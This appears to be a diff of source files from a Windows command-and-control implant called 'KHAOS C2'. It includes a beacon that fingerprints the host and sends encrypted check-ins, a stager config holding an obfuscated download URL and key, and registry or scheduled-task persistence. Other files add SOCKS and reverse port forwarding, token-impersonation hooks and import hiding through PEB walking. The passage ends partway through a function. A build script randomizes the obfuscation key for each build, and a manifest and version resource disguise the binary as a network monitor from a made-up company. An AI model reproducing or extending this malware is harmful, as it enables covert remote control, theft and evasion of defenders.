* No imports: no GetModuleHandleA in IAT when used exclusively.
* name_lower must be lowercase (e.g. "kernel32.dll").
*
* Inline LDR_DATA_TABLE_ENTRY (x64 offsets — no winternl.h dependency):
* +0x00 InLoadOrderLinks (LIST_ENTRY, 16 B)
* +0x10 InMemoryOrderLinks (LIST_ENTRY, 16 B) ← list head flinks here
* +0x20 InInitOrderLinks (LIST_ENTRY, 16 B)
* +0x30 DllBase (PVOID, 8 B)
* +0x38 EntryPoint (PVOID, 8 B)
* +0x40 SizeOfImage (ULONG, 4 B)
* +0x44 _pad1 (ULONG, 4 B)
* +0x48 FullDllName.Length (USHORT, 2 B)
* +0x4A FullDllName.MaxLength (USHORT, 2 B)
* +0x4C _pad2 (USHORT[2], 4 B)
* +0x50 FullDllName.Buffer (WCHAR*, 8 B)
* +0x58 BaseDllName.Length (USHORT, 2 B)
* +0x5A BaseDllName.MaxLength (USHORT, 2 B)
* +0x5C _pad3 (USHORT[2], 4 B)
* +0x60 BaseDllName.Buffer (WCHAR*, 8 B)
*/
static inline HMODULE _peb_module(const char *name_lower)
{
#ifdef _WIN64
typedef struct {
LIST_ENTRY _load;
LIST_ENTRY _mem;
LIST_ENTRY _init;
void *DllBase;
void *EntryPoint;
ULONG SizeOfImage;
ULONG _pad1;
USHORT FullLen;
USHORT FullMaxLen;
USHORT _pad2[2];
WCHAR *FullBuf;
USHORT BaseLen;
USHORT BaseMaxLen;
USHORT _pad3[2];
WCHAR *BaseBuf;
} _ldr_e;
BYTE *peb = (BYTE *)__readgsqword(0x60);
BYTE *ldr = *(BYTE **)(peb + 0x18);
LIST_ENTRY *head = (LIST_ENTRY *)(ldr + 0x20); /* InMemoryOrderModuleList */
for (LIST_ENTRY *e = head->Flink; e != head; e = e->Flink) {
/* e points to _mem (+0x10 from struct base) */
_ldr_e *en = (_ldr_e *)((BYTE *)e - 0x10);
if (!en->BaseBuf || en->BaseLen == 0) continue;
char tmp[64]; int n = en->BaseLen / 2;
if (n >= 64) continue;
for (int i = 0; i < n; i++) {
WCHAR c = en->BaseBuf[i];
tmp[i] = (char)((c >= L'A' && c <= L'Z') ? c + 32 : c);
}
tmp[n] = '\0';
if (strcmp(tmp, name_lower) == 0) return (HMODULE)en->DllBase;
}
#else
(void)name_lower;
#endif
return NULL;
}
/*
* _peb_self_base() — own image base via PEB.ImageBaseAddress (offset 0x10 x64).
* Replaces GetModuleHandleA(NULL) — removes it from IAT.
*/
static inline void *_peb_self_base(void)
{
#ifdef _WIN64
BYTE *peb = (BYTE *)__readgsqword(0x60);
return *(void **)(peb + 0x10);
#else
return NULL;
#endif
}
#endif /* PEB_WALK_H */
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#include <windows.h>
typedef enum {
PERSIST_REGISTRY = 0,
PERSIST_SCHTASK = 1,
} persist_method_t;
int persist_install(persist_method_t method);
int persist_remove(persist_method_t method);
int persist_auto(void);
+15
View File
@@ -0,0 +1,15 @@
#ifndef SOCKS_H
#define SOCKS_H
#include <stddef.h>
int socks_start(unsigned short port, char *output_buf, size_t output_sz);
int socks_stop(char *output_buf, size_t output_sz);
int socks_running(void);
int rportfwd_start(unsigned short lport, const char *rhost, unsigned short rport,
char *out, size_t outsz);
int rportfwd_stop(unsigned short lport, char *out, size_t outsz);
int rportfwd_list(char *out, size_t outsz);
#endif /* SOCKS_H */
+17
View File
@@ -0,0 +1,17 @@
/* AUTO-GENERATED by tools/gen_stager_config.py do not edit manually. */
#ifndef STAGER_CONFIG_H
#define STAGER_CONFIG_H
#ifndef CFG_XOR_KEY_LEN
#define CFG_XOR_KEY_LEN 16
static const unsigned char CFG_XOR_KEY[16] = { 0x7a, 0x3f, 0x91, 0xc4, 0x52, 0x88, 0xb1, 0xde, 0xad, 0xbe, 0xef, 0x13, 0x37, 0xca, 0xfe, 0x42 };
#endif
/* STAGE_URL XOR-encoded (96 bytes) */
static const unsigned char CFG_STAGE_URL[] = {0x12, 0x4b, 0xe5, 0xb4, 0x68, 0xa7, 0x9e, 0xef, 0x9f, 0x89, 0xc1, 0x23, 0x19, 0xfa, 0xd0, 0x73, 0x40, 0x07, 0xa1, 0xf4, 0x62, 0xa7, 0xd0, 0xae, 0xc4, 0x91, 0x9c, 0x67, 0x56, 0xad, 0x9b, 0x6d, 0x18, 0x5c, 0xf5, 0xf4, 0x64, 0xe9, 0x82, 0xea, 0x98, 0x89, 0x8c, 0x21, 0x03, 0xfa, 0xcc, 0x72, 0x4b, 0x06, 0xa4, 0xf4, 0x66, 0xb9, 0x83, 0xec, 0xc8, 0x89, 0xd8, 0x76, 0x06, 0xf9, 0xcd, 0x26, 0x18, 0x0b, 0xa1, 0xa1, 0x6b, 0xea, 0x88, 0xba, 0x95, 0x8b, 0xda, 0x75, 0x0e, 0xf9, 0xcd, 0x7b, 0x19, 0x5a, 0xf0, 0xf0, 0x66, 0xbb, 0xd0, 0xea, 0x94, 0x8c, 0xd6, 0x24, 0x52, 0xac, 0xc6, 0x76, 0x00};
#define CFG_STAGE_URL_LEN 96
/* STAGE_KEY ChaCha20 key, XOR-encoded (32 bytes) */
static const unsigned char CFG_STAGE_KEY[32] = {0x50, 0x7e, 0xe8, 0x62, 0x2f, 0x68, 0x44, 0xf9, 0x0b, 0xc0, 0xd9, 0xc2, 0xd5, 0x25, 0xb9, 0x32, 0x58, 0x6c, 0x9a, 0x9a, 0x62, 0xc5, 0xf3, 0x16, 0xab, 0xbb, 0x1a, 0x2c, 0x53, 0x9b, 0x99, 0xff};
+11
View File
@@ -0,0 +1,11 @@
#ifndef UTIL_H
#define UTIL_H
const char *random_ua(void);
#ifndef HTTP_ONLY
#include <curl/curl.h>
void curl_apply_opsec(CURL *curl);
#endif /* HTTP_ONLY */
#endif /* UTIL_H */
+38
View File
@@ -0,0 +1,38 @@
$AgentDir = $PSScriptRoot
$Make = "C:\msys64\usr\bin\make.exe"
Set-Location $AgentDir
# Kill agent if running, wait for OS to release file lock
Stop-Process -Name "agent" -Force -ErrorAction SilentlyContinue
Start-Sleep -Milliseconds 800
# Step 1: regen obfuscation config + fresh EVS_KEY (polymorphisme par build)
Write-Host "[*] Generation config (EVS_KEY aleatoire)..." -ForegroundColor Cyan
$cfg_out = & $Make config 2>&1
$cfg_err = $cfg_out | Select-String -Pattern "error:" | Where-Object { $_ -notmatch "0 error" }
if ($cfg_err) {
Write-Host "[!] Erreur config :" -ForegroundColor Red
$cfg_err | ForEach-Object { Write-Host " $_" -ForegroundColor Red }
exit 1
}
$cfg_out | Select-String "\[ok\]|EVS_KEY" | ForEach-Object { Write-Host " $_" -ForegroundColor DarkCyan }
# Step 2: compile
Write-Host "[*] Compilation..." -ForegroundColor Cyan
$output = & $Make lean 2>&1
$errors = $output | Select-String -Pattern "error:" | Where-Object { $_ -notmatch "0 error" }
if ($errors) {
Write-Host "[!] Erreurs de compilation :" -ForegroundColor Red
$errors | ForEach-Object { Write-Host " $_" -ForegroundColor Red }
exit 1
}
$ok = $output | Select-String -Pattern "\[ok\]"
if ($ok) {
Write-Host "[+] $ok" -ForegroundColor Green
} else {
Write-Host "[?] Compilation terminee (verifier manuellement)" -ForegroundColor Yellow
$output | Select-String -Pattern "warning:|error:" | ForEach-Object { Write-Host " $_" }
}
+30
View File
@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="2.3.0.1"
processorArchitecture="amd64"
name="Celerix.NetPulse.Monitor"
type="win32"/>
<description>Network Performance Monitor</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
</application>
</compatibility>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
</windowsSettings>
</application>
</assembly>
+32
View File
@@ -0,0 +1,32 @@
#include <windows.h>
VS_VERSION_INFO VERSIONINFO
FILEVERSION 2,3,0,1
PRODUCTVERSION 2,3,0,1
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
FILEFLAGS 0x0L
FILEOS VOS_NT_WINDOWS32
FILETYPE VFT_APP
FILESUBTYPE VFT2_UNKNOWN
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904B0"
BEGIN
VALUE "CompanyName", "Celerix Technologies Inc."
VALUE "FileDescription", "Network Performance Monitor"
VALUE "FileVersion", "2.3.0.1"
VALUE "InternalName", "netpulse"
VALUE "LegalCopyright", "Copyright (C) 2025 Celerix Technologies Inc. All rights reserved."
VALUE "OriginalFilename", "NetPulse.exe"
VALUE "ProductName", "NetPulse Suite"
VALUE "ProductVersion", "2.3"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x0409, 0x04B0
END
END
1 RT_MANIFEST "agent.manifest"
+51
View File
@@ -0,0 +1,51 @@
#include "adv_lazy.h"
#include "evs_strings.h"
#include <string.h>
static adv_api_t _adv;
static int _adv_ok = 0;
static void _xdec(const unsigned char *enc, size_t n, char *out) {
volatile unsigned char k = EVS_KEY;
for (size_t i = 0; i < n; i++) out[i] = (char)(enc[i] ^ k);
out[n] = '\0';
}
const adv_api_t *adv_get(void)
{
if (_adv_ok) return &_adv;
char dll[16], fn[40];
_xdec(EVS_dll_advapi32, sizeof(EVS_dll_advapi32), dll);
HMODULE h = LoadLibraryA(dll);
SecureZeroMemory(dll, sizeof(dll));
if (!h) return &_adv;
struct { const unsigned char *enc; size_t n; void **p; } t[] = {
{ EVS_fn_AdjustTokenPrivileges, sizeof(EVS_fn_AdjustTokenPrivileges), (void **)&_adv.AdjustTokenPrivileges },
{ EVS_fn_DuplicateTokenEx, sizeof(EVS_fn_DuplicateTokenEx), (void **)&_adv.DuplicateTokenEx },
{ EVS_fn_ImpersonateLoggedOnUser, sizeof(EVS_fn_ImpersonateLoggedOnUser), (void **)&_adv.ImpersonateLoggedOnUser },
{ EVS_fn_LogonUserA, sizeof(EVS_fn_LogonUserA), (void **)&_adv.LogonUserA },
{ EVS_fn_LookupPrivilegeNameA, sizeof(EVS_fn_LookupPrivilegeNameA), (void **)&_adv.LookupPrivilegeNameA },
{ EVS_fn_LookupPrivilegeValueA, sizeof(EVS_fn_LookupPrivilegeValueA), (void **)&_adv.LookupPrivilegeValueA },
{ EVS_fn_OpenProcessToken, sizeof(EVS_fn_OpenProcessToken), (void **)&_adv.OpenProcessToken },
{ EVS_fn_OpenThreadToken, sizeof(EVS_fn_OpenThreadToken), (void **)&_adv.OpenThreadToken },
{ EVS_fn_RevertToSelf, sizeof(EVS_fn_RevertToSelf), (void **)&_adv.RevertToSelf },
{ EVS_fn_CloseServiceHandle, sizeof(EVS_fn_CloseServiceHandle), (void **)&_adv.CloseServiceHandle },
{ EVS_fn_EnumServicesStatusExA, sizeof(EVS_fn_EnumServicesStatusExA), (void **)&_adv.EnumServicesStatusExA },
{ EVS_fn_OpenSCManagerA, sizeof(EVS_fn_OpenSCManagerA), (void **)&_adv.OpenSCManagerA },
{ EVS_fn_OpenServiceA, sizeof(EVS_fn_OpenServiceA), (void **)&_adv.OpenServiceA },
{ EVS_fn_QueryServiceConfigA, sizeof(EVS_fn_QueryServiceConfigA), (void **)&_adv.QueryServiceConfigA },
{ EVS_fn_RegisterServiceCtrlHandlerA,sizeof(EVS_fn_RegisterServiceCtrlHandlerA),(void **)&_adv.RegisterServiceCtrlHandlerA},
{ EVS_fn_SetServiceStatus, sizeof(EVS_fn_SetServiceStatus), (void **)&_adv.SetServiceStatus },
{ EVS_fn_StartServiceCtrlDispatcherA,sizeof(EVS_fn_StartServiceCtrlDispatcherA),(void **)&_adv.StartServiceCtrlDispatcherA},
};
for (int i = 0; i < 17; i++) {
_xdec(t[i].enc, t[i].n, fn);
*t[i].p = (void *)GetProcAddress(h, fn);
SecureZeroMemory(fn, t[i].n + 1);
}
_adv_ok = 1;
return &_adv;
}
+620
View File
@@ -0,0 +1,620 @@
#include "beacon.h"
#include "agent_config.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include "crypto.h"
#include "evasion.h"
#include "adv_lazy.h"
#include <windows.h>
#include <bcrypt.h>
#include <lm.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/* Decode one XOR-obfuscated config string from agent_config.h */
static void _cfg_decode(const unsigned char *src, size_t len, char *dst)
{
for (size_t i = 0; i < len; i++)
dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
dst[len] = '\0';
}
/* GetComputerNameA — removes from IAT */
typedef BOOL (WINAPI *_GCN_t)(LPSTR, LPDWORD);
static BOOL _gcna(LPSTR buf, LPDWORD sz) {
static _GCN_t fn = NULL;
if (!fn) {
char fs[20], ks[14]; volatile unsigned char xk = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameA); i++) fs[i] = (char)(EVS_fn_GetComputerNameA[i] ^ xk);
fs[sizeof(EVS_fn_GetComputerNameA)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
ks[sizeof(EVS_dll_kernel32)] = '\0';
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
if (m) fn = (_GCN_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
return fn ? fn(buf, sz) : FALSE;
}
/* machine fingerprinting */
void agent_get_hostname(char *buf, size_t len)
{
DWORD sz = (DWORD)len;
if (!_gcna(buf, &sz))
strncpy(buf, "unknown", len - 1);
buf[len - 1] = '\0';
}
void agent_get_username(char *buf, size_t len)
{
DWORD sz = (DWORD)len;
if (!GetUserNameA(buf, &sz))
strncpy(buf, "unknown", len - 1);
buf[len - 1] = '\0';
}
/* GetNativeSystemInfo — removes from IAT */
typedef void (WINAPI *_GNS_t)(LPSYSTEM_INFO);
static void _gns(LPSYSTEM_INFO si) {
static _GNS_t fn = NULL;
if (!fn) {
char fs[22], ks[14]; volatile unsigned char xk = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_GetNativeSystemInfo); i++) fs[i] = (char)(EVS_fn_GetNativeSystemInfo[i] ^ xk);
fs[sizeof(EVS_fn_GetNativeSystemInfo)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
ks[sizeof(EVS_dll_kernel32)] = '\0';
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
if (m) fn = (_GNS_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
if (fn) fn(si);
else GetSystemInfo(si);
}
void agent_get_os(char *buf, size_t len)
{
OSVERSIONINFOEXW osvi;
memset(&osvi, 0, sizeof(osvi));
osvi.dwOSVersionInfoSize = sizeof(osvi);
typedef NTSTATUS(WINAPI * RtlGetVersion_t)(PRTL_OSVERSIONINFOW);
char _dn[10], _fn[15];
EVS_D(_dn, EVS_dll_ntdll); EVS_D(_fn, EVS_fn_RtlGetVersion);
HMODULE ntdll = _peb_module(_dn); SecureZeroMemory(_dn, sizeof(_dn));
RtlGetVersion_t fn = (RtlGetVersion_t)(void *)GetProcAddress(ntdll, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
if (fn && fn((PRTL_OSVERSIONINFOW)&osvi) == 0)
{
int is64 = 0;
SYSTEM_INFO si;
_gns(&si);
is64 = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64);
snprintf(buf, len, "Windows %lu.%lu Build %lu %s",
osvi.dwMajorVersion, osvi.dwMinorVersion,
osvi.dwBuildNumber, is64 ? "x64" : "x86");
}
else
{
strncpy(buf, "Windows (unknown)", len - 1);
buf[len - 1] = '\0';
}
}
void agent_get_privileges(char *buf, size_t len)
{
HANDLE token;
if (!adv_get()->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
{
strncpy(buf, "user", len - 1);
buf[len - 1] = '\0';
return;
}
TOKEN_ELEVATION elev;
DWORD ret_len = 0;
if (GetTokenInformation(token, TokenElevation, &elev, sizeof(elev), &ret_len) && elev.TokenIsElevated)
strncpy(buf, "elevated", len - 1);
else
strncpy(buf, "user", len - 1);
buf[len - 1] = '\0';
CloseHandle(token);
}
/* DJB2 hash for stable 8-hex agent ID */
static uint32_t djb2(const char *s)
{
uint32_t h = 5381;
int c;
while ((c = (unsigned char)*s++) != 0)
h = ((h << 5) + h) ^ c;
return h;
}
void agent_gen_id(char *id_out)
{
char host[256], user[128];
agent_get_hostname(host, sizeof(host));
agent_get_username(user, sizeof(user));
BOOL elevated = FALSE;
HANDLE tok;
if (adv_get()->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok)) {
TOKEN_ELEVATION e; DWORD sz = sizeof(e);
if (GetTokenInformation(tok, TokenElevation, &e, sz, &sz))
elevated = e.TokenIsElevated;
CloseHandle(tok);
}
char combined[400];
if (elevated)
snprintf(combined, sizeof(combined), "%s|%s|%lu",
host, user, (unsigned long)GetCurrentProcessId());
else
snprintf(combined, sizeof(combined), "%s|%s", host, user);
uint32_t h = djb2(combined);
snprintf(id_out, AGENT_ID_LEN + 1, "%08x", h);
}
static void _parent_tmp_path(char *out, size_t sz)
{
char tmp[MAX_PATH];
GetTempPathA((DWORD)sizeof(tmp), tmp);
char host[256], user[128];
agent_get_hostname(host, sizeof(host));
agent_get_username(user, sizeof(user));
char combined[400];
snprintf(combined, sizeof(combined), "%s|%s", host, user);
uint32_t h = djb2(combined);
snprintf(out, sz, "%s~DF%08X.tmp", tmp, h);
}
void agent_write_parent_id(const char *id)
{
char path[MAX_PATH];
_parent_tmp_path(path, sizeof(path));
HANDLE f = CreateFileA(path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if (f == INVALID_HANDLE_VALUE) return;
DWORD wr = 0;
WriteFile(f, id, (DWORD)strlen(id), &wr, NULL);
CloseHandle(f);
}
static void _gs_tmp_path(char *out, size_t sz)
{
char tmp[MAX_PATH];
GetTempPathA((DWORD)sizeof(tmp), tmp);
char host[256], user[128];
agent_get_hostname(host, sizeof(host));
agent_get_username(user, sizeof(user));
char combined[400];
snprintf(combined, sizeof(combined), "%s|%s", host, user);
uint32_t h = djb2(combined);
snprintf(out, sz, "%s~GS%08X.tmp", tmp, h);
}
void agent_write_gs_flag(void)
{
char path[MAX_PATH];
_gs_tmp_path(path, sizeof(path));
HANDLE f = CreateFileA(path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if (f != INVALID_HANDLE_VALUE) CloseHandle(f);
}
int agent_read_gs_flag(void)
{
char path[MAX_PATH];
_gs_tmp_path(path, sizeof(path));
if (GetFileAttributesA(path) == INVALID_FILE_ATTRIBUTES) return 0;
DeleteFileA(path);
return 1;
}
int agent_gs_flag_exists(void)
{
char path[MAX_PATH];
_gs_tmp_path(path, sizeof(path));
return GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES;
}
/* agent lifecycle */
int agent_init(agent_ctx_t *ctx)
{
memset(ctx, 0, sizeof(*ctx));
/* kill date check, exit silently if past configured timestamp */
#if CFG_KILL_DATE_LEN > 1
{
char kd_str[24] = {0};
_cfg_decode(CFG_KILL_DATE, CFG_KILL_DATE_LEN, kd_str);
uint32_t kill_ts = (uint32_t)strtoul(kd_str, NULL, 10);
if (kill_ts > 0 && (uint32_t)time(NULL) > kill_ts)
ExitProcess(0);
}
#endif
agent_gen_id(ctx->agent_id);
ctx->parent_id[0] = '\0';
{
char path[MAX_PATH];
_parent_tmp_path(path, sizeof(path));
HANDLE f = CreateFileA(path, GENERIC_READ, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL);
if (f != INVALID_HANDLE_VALUE) {
DWORD rd = 0;
ReadFile(f, ctx->parent_id, AGENT_ID_LEN, &rd, NULL);
ctx->parent_id[AGENT_ID_LEN] = '\0';
CloseHandle(f);
DeleteFileA(path);
}
}
agent_get_hostname(ctx->hostname, sizeof(ctx->hostname));
agent_get_username(ctx->username, sizeof(ctx->username));
agent_get_os(ctx->os_info, sizeof(ctx->os_info));
agent_get_privileges(ctx->privileges, sizeof(ctx->privileges));
ctx->pending_output = calloc(1, OUTPUT_BUF_SIZE);
if (!ctx->pending_output)
return -1;
if (crypto_init(&ctx->crypto) != 0)
{
free(ctx->pending_output);
ctx->pending_output = NULL;
return -1;
}
/* generate ECDH keypair for the handshake */
if (crypto_gen_keypair(ctx->crypto.agent_pubkey,
ctx->crypto.agent_privkey) != 0)
{
crypto_free(&ctx->crypto);
free(ctx->pending_output);
ctx->pending_output = NULL;
return -1;
}
return 0;
}
void agent_free(agent_ctx_t *ctx)
{
crypto_free(&ctx->crypto);
free(ctx->pending_output);
memset(ctx, 0, sizeof(*ctx));
}
/* output buffer */
void beacon_append_output(agent_ctx_t *ctx, const char *data, size_t len)
{
if (ctx->output_len >= OUTPUT_BUF_SIZE - 1)
return;
size_t avail = OUTPUT_BUF_SIZE - ctx->output_len - 1;
if (len > avail)
len = avail;
memcpy(ctx->pending_output + ctx->output_len, data, len);
ctx->output_len += len;
ctx->pending_output[ctx->output_len] = '\0';
}
void beacon_clear_output(agent_ctx_t *ctx)
{
memset(ctx->pending_output, 0, ctx->output_len + 1);
ctx->output_len = 0;
}
/* JSON helpers */
/* escape a string for JSON, returns malloc'd buffer */
static char *json_escape(const char *s)
{
size_t in_len = strlen(s);
/* worst case: each char → \uXXXX = 6 bytes */
char *out = malloc(in_len * 6 + 3);
if (!out)
return NULL;
char *p = out;
while (*s)
{
switch (*s)
{
case '"':
*p++ = '\\';
*p++ = '"';
break;
case '\\':
*p++ = '\\';
*p++ = '\\';
break;
case '\n':
*p++ = '\\';
*p++ = 'n';
break;
case '\r':
*p++ = '\\';
*p++ = 'r';
break;
case '\t':
*p++ = '\\';
*p++ = 't';
break;
default:
if ((unsigned char)*s < 0x20 || (unsigned char)*s >= 0x80)
{
/* escape control chars and non-ASCII as \u00xx */
int _n = snprintf(p, 7, "\\u%04x", (unsigned char)*s);
if (_n > 0)
p += _n;
}
else
{
*p++ = *s;
}
}
s++;
}
*p = '\0';
return out;
}
/* packet builders */
/* plaintext handshake packet, base64-encoded for transport */
char *beacon_build_handshake(agent_ctx_t *ctx)
{
char *pubkey_b64 = base64_encode(ctx->crypto.agent_pubkey, X25519_KEY_SIZE);
if (!pubkey_b64)
return NULL;
size_t needed = 128 + strlen(pubkey_b64);
char *pkt = malloc(needed);
if (!pkt)
{
free(pubkey_b64);
return NULL;
}
snprintf(pkt, needed,
"{\"t\":\"h\",\"id\":\"%s\",\"pk\":\"%s\"}",
ctx->agent_id, pubkey_b64);
free(pubkey_b64);
/* base64-encode for transport */
char *b64 = base64_encode((const uint8_t *)pkt, strlen(pkt));
free(pkt);
return b64;
}
/* build encrypted beacon: JSON → seal → base64 */
char *beacon_build(agent_ctx_t *ctx)
{
char *out_esc = json_escape(ctx->pending_output);
if (!out_esc)
return NULL;
/* build JSON */
size_t json_sz = 512 + strlen(out_esc) + strlen(ctx->hostname) + strlen(ctx->username) + strlen(ctx->os_info) + 32;
char *json = malloc(json_sz);
if (!json)
{
free(out_esc);
return NULL;
}
snprintf(json, json_sz,
"{\"t\":\"s\","
"\"id\":\"%s\","
"\"hn\":\"%s\","
"\"un\":\"%s\","
"\"os\":\"%s\","
"\"pr\":\"%s\","
"\"lt\":\"%s\","
"\"pid\":\"%s\","
"\"po\":\"%s\"}",
ctx->agent_id,
ctx->hostname,
ctx->username,
ctx->os_info,
ctx->privileges,
ctx->last_task_id,
ctx->parent_id,
out_esc);
free(out_esc);
/* encrypt */
size_t sealed_len = 0;
uint8_t *sealed = crypto_seal(&ctx->crypto,
(const uint8_t *)json, strlen(json),
&sealed_len);
free(json);
if (!sealed)
return NULL;
/* base64 for transport */
char *b64 = base64_encode(sealed, sealed_len);
free(sealed);
return b64;
}
/* response parser */
/* extract string value from flat JSON */
static int json_get_str(const char *json, const char *key,
char *out, size_t out_sz)
{
char search[128];
snprintf(search, sizeof(search), "\"%s\":", key);
const char *p = strstr(json, search);
if (!p)
return -1;
p += strlen(search);
while (*p == ' ')
p++;
if (*p != '"')
return -1;
p++;
size_t i = 0;
while (*p && *p != '"' && i < out_sz - 1)
{
if (*p == '\\' && *(p + 1))
{
p++;
}
out[i++] = *p++;
}
out[i] = '\0';
return 0;
}
/* same as json_get_str but heap-allocates output, caller frees */
static int json_get_str_alloc(const char *json, const char *key, char **out)
{
char search[128];
snprintf(search, sizeof(search), "\"%s\":", key);
const char *p = strstr(json, search);
if (!p)
return -1;
p += strlen(search);
while (*p == ' ')
p++;
if (*p != '"')
return -1;
p++;
/* measure length */
const char *start = p;
size_t len = 0;
while (*p && *p != '"')
{
if (*p == '\\' && *(p + 1))
p++;
p++;
len++;
}
*out = (char *)malloc(len + 1);
if (!*out)
return -1;
/* copy */
p = start;
size_t i = 0;
while (*p && *p != '"')
{
if (*p == '\\' && *(p + 1))
p++;
(*out)[i++] = *p++;
}
(*out)[i] = '\0';
return 0;
}
/* parse inbound base64 packet, handles handshake and encrypted task */
int beacon_parse_response(agent_ctx_t *ctx, const char *raw_b64,
char *cmd_out, size_t cmd_sz,
char *args_out, size_t args_sz,
char *task_id_out, size_t task_id_sz,
char **data_out)
{
if (!raw_b64 || raw_b64[0] == '\0')
return -1;
/* base64-decode the packet */
size_t decoded_len = 0;
uint8_t *decoded = base64_decode(raw_b64, &decoded_len);
if (!decoded)
return -1;
char *json = NULL;
if (!ctx->handshake_done)
{
/* plaintext handshake response */
json = (char *)decoded;
char type_buf[32] = {0};
json_get_str(json, "t", type_buf, sizeof(type_buf));
if (strcmp(type_buf, "hr") == 0)
{
char spub_b64[64] = {0};
if (json_get_str(json, "spk", spub_b64, sizeof(spub_b64)) == 0)
{
size_t spub_len = 0;
uint8_t *spub = base64_decode(spub_b64, &spub_len);
if (spub && spub_len == X25519_KEY_SIZE)
{
if (crypto_do_handshake(&ctx->crypto, spub) == 0)
ctx->handshake_done = 1;
}
free(spub);
}
}
free(decoded);
return ctx->handshake_done ? 0 : -1;
}
/* encrypted task packet */
size_t pt_len = 0;
uint8_t *pt = crypto_open(&ctx->crypto, decoded, decoded_len, &pt_len);
free(decoded);
if (!pt)
return -1;
json = (char *)pt;
char type_buf[32] = {0};
json_get_str(json, "t", type_buf, sizeof(type_buf));
int ret = -1;
if (strcmp(type_buf, "t") == 0)
{
json_get_str(json, "tid", task_id_out, task_id_sz);
json_get_str(json, "c", cmd_out, cmd_sz);
json_get_str(json, "a", args_out, args_sz);
if (data_out)
json_get_str_alloc(json, "d", data_out);
ret = 0;
}
else if (strcmp(type_buf, "n") == 0)
{
cmd_out[0] = '\0';
ret = 0;
}
free(pt);
return ret;
}
/* beacon sleep with jitter and work-hours gating */
void beacon_sleep(void)
{
#if JITTER_PCT == 0
beacon_sleep_obf(BEACON_INTERVAL);
#else
SYSTEMTIME st;
GetLocalTime(&st);
BOOL off_hours = (st.wHour < 8 || st.wHour >= 20);
BOOL weekend = (st.wDayOfWeek == 0 || st.wDayOfWeek == 6);
if (off_hours || weekend)
{
beacon_sleep_obf(BEACON_INTERVAL * 2);
return;
}
/* BCryptGenRandom: cryptographic distribution, avoids predictable rand() */
uint32_t rnd = 0;
BCryptGenRandom(NULL, (BYTE *)&rnd, sizeof(rnd), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
double jitter_range = BEACON_INTERVAL * (JITTER_PCT / 100.0);
double offset = jitter_range * (((double)(rnd & 0xFFFF) / 0xFFFF) * 2.0 - 1.0);
beacon_sleep_obf((DWORD)(BEACON_INTERVAL + (long)offset));
#endif
}
+665
View File
@@ -0,0 +1,665 @@
/*
* Copyright (c) 2026
* KHAOS C2 - khaos.khaotic.fr
*
*/
#include "bof.h"
#include "commands.h"
#include "crypto.h"
#include "adv_lazy.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include <windows.h>
#include <excpt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif
/* NtProtectVirtualMemory wrapper */
typedef NTSTATUS(NTAPI *_bNtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
static BOOL _vp(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
{
static _bNtPVM_t fn = NULL;
if (!fn)
{
char fs[24], ns[12];
volatile unsigned char k = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_NtProtectVirtualMemory); i++)
fs[i] = (char)(EVS_fn_NtProtectVirtualMemory[i] ^ k);
fs[sizeof(EVS_fn_NtProtectVirtualMemory)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++)
ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
ns[sizeof(EVS_dll_ntdll)] = '\0';
HMODULE m = _peb_module(ns);
